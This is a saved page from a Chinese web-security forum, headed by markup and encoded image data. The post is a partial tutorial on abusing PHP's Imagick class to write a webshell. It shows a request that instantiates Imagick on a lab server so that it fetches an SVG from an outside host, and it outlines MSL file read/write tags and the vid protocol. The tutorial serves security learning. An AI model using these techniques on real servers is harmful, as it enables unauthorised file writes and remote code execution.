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
<style>.highlight .n{color:#000000}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .x{color:#000000}.highlight .cp{color:#8f5902;font-style:italic}.highlight .s{color:#4e9a06}.highlight .nl{color:#f57900}.highlight .nx{color:#000000}.highlight .mf{color:#0000cf;font-weight:bold}.highlight .mi{color:#0000cf;font-weight:bold}.highlight .s2{color:#4e9a06}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media (max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon><style>.sf-hidden{display:none!important}</style><link rel=canonical href="https://xz.aliyun.com/t/15692?time__1311=GqjxnieDqYqqlEzG7Dy0fKqAKlemuxpD"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验，请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15692&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>imagickd写shell的技术学习</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/82355>
<span class="username cell"> ooyywwll</span></a> <span class=i-seprator> / </span>
<span> 2024-09-23 00:30:43</span><span class=i-seprator> / </span>
<span>发表于四川 / </span>
<span>浏览数 17</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/16>WEB安全</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(0)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<h1>imagickd写shell的技术学习</h1>
<h2 id=toc-0>前言</h2>
<p>没想到吧哥们，imagickd也能写shell，真是学到了不少，下面会具体分析是如何写shell的</p>
<h2 id=toc-1>基础知识</h2>
<h3 id=toc-2><strong>Imagick</strong>类</h3>
<p>参考官方手册<a href=https://www.php.net/manual/zh/class.imagick.php target=_blank>https://www.php.net/manual/zh/class.imagick.php</a></p>
<p>重点关注他的构造方法</p>
<p>(PECL imagick 2, PECL imagick 3)</p>
<p>Imagick::__construct — The Imagick constructor<br>
关注一下参数</p>
<p>files</p>
<p>The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.</p>
<p>就是能够加载图片，甚至可以是远程的图片</p>
<p>我们尝试一手，当然我这里就不尝试了，因为这还不是重点，给个连接</p>
<p><a href=https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ target=_blank>https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/</a></p>
<p>原作者是这样说的</p>
<p>我测试了它是否 <code>Imagick::__construct</code> 接受远程方案并且可以通过 HTTP 连接到我的主机：</p>
<p>可以看到是可以的</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002748-9ae3c674-78ff-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABRQAAAMvCAYAAACji1y8AAEAAElEQVR4nOzdd1QU198G8IcmgmKjiIhKExELiAg2UGPDntgilqiIRo0lJgZ/Go0tomIsMb5W7EZUxFiDJTZijWKPBQV7QIpSlCJl3z8Wll3YMguLgD6fc/bATrn3TtmZne/eoiUSiUQgIiIiIiIiIiIiEkC7tAtARERERERERERE5QcDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pEREREREREREQkGAOKREREREREREREJBgDikRERERERERERCQYA4pERERl1g342zvCP7yIq8eEwKc46xMREREREcnBgOInJC5kLGzsHWFj7wifkPjcB80AXMubF3CjwBo34J87X7gb8Lcfiz0xABCPPb6q18/LW1w+dfMrinjs8c0rIxF9OsTBORvJS/p6I+x6JYTkWusbgrhip+YML18gcE0R0zLvh8ULPdVbPzxAzv0gT/m5fsaFjBXf6wqRvk/lKe7xvwF/gcdb/v32IxAeoGB/l9VtjsceXwXB9txAfP7nWGpZqe9OitKUux9iQuBT6LwrRhk1sjwRERFR0emWdgGoBIUHwMZ7S/57z/m4HLEWpnnvpb/UthmLRaGDYWM/Ansj/OACAHDG6IVr4W4/FovCfgZmeuJ/YYWz8Q26i9FPxsI9ciyi/GTn2dlHob99gFSaipn2W4vLGAt33xBcDuwH05gQ+HjOwhm1Njp3OwP75W+nHHb2QH/PANgJKFeh/aiEb9BdzGie9+4G/O0HI1DQmtI8sShsLQaaq70iUbl3LcARq2zDsKmfidx5/SMUf76vBTiiv9IP3AjsjbiLGXLnmaBDt6j864/Az2/eZz4uZCzcp+deIKWvtSquH+0Xyt9W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
<p>我们自己尝试一下，首先构造如下的请求<br>
<a href="http://192.168.177.146:8080/?a=Imagick&amp;b=http://ip/test.svg" target=_blank>http://192.168.177.146:8080/?a=Imagick&amp;b=http://ip/test.svg</a></p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002839-b9bc47b0-78ff-1.png><img src=data:image/png;base64,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
<h3 id=toc-3>MSL脚本语言</h3>
<p>可以参考一下官方的文档</p>
<p>重点是一些特殊的标签</p>
<p><strong>READ</strong></p>
<pre><code>&lt;read filename="image.gif" /&gt;
&lt;read filename="image.png /&gt;</code></pre>
<p><code>&lt;read&gt;</code> 标签用于从磁盘文件中读取一个或多个图像。它的作用是加载图像数据，以便后续可以在脚本中进行处理或操作。以下是一些关键方面：</p>
<ul>
<li><strong>属性 <code>filename</code></strong>：这个属性指定要读取的图像文件的路径和名称。</li>
<li><strong>多图像读取</strong>：可以使用多个 <code>&lt;read&gt;</code> 标签来读取多个图像文件。这在处理多帧图像（如 GIF 或 TIFF 文件）时非常有用。</li>
</ul>
<p><strong>WRITE</strong></p>
<p><code>&lt;write&gt;</code> 标签用于将图像数据写入磁盘。它可以将当前图像或图像集合保存为文件。这是处理图像后保存结果的关键步骤。</p>
<ul>
<li><strong>属性 <code>filename</code></strong>：指定写入文件的名称和格式。您可以指定输出文件的格式，如 TIFF、PNG、JPEG 等。</li>
</ul>
<p>示例：</p>
<pre><code>&lt;write filename="image.tiff" /&gt;</code></pre>
<p>这个示例将当前图像数据保存为名为 <code>image.tiff</code> 的 TIFF 文件。</p>
<p>发现是可以读写文件了，但是都是图片类想关的文件</p>
<h3 id=toc-4>vid协议</h3>
<p>这个是ImageMagick中的一个协议，根据<a href=https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/%E5%B8%88%E5%82%85%E7%9A%84%E5%8F%91%E7%8E%B0 target=_blank>https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/师傅的发现</a></p>
<p>ExpandFilenames 的调用意味着 VID 方案接受掩码，并使用它们构建文件路径。</p>
